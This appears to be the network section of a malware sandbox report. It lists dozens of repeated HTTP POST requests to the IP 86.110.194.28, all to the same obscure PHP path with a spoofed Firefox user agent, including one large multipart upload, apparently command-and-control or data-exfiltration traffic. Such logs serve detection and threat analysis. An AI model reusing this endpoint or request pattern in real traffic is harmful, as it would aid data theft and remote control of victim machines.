Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2564Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2052Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2052Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: multipart/form-data; boundary=----yAbqlMJdghMCq8kxznRpE60jYE6iXlG5ziUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 186586Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2164Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2140Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2164Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2164Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2164Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2164Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2564Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2164Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2164Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2568Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2576Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 86.110.194.28Content-Length: 2164Expect: 100-continueConnection: Keep-Alive
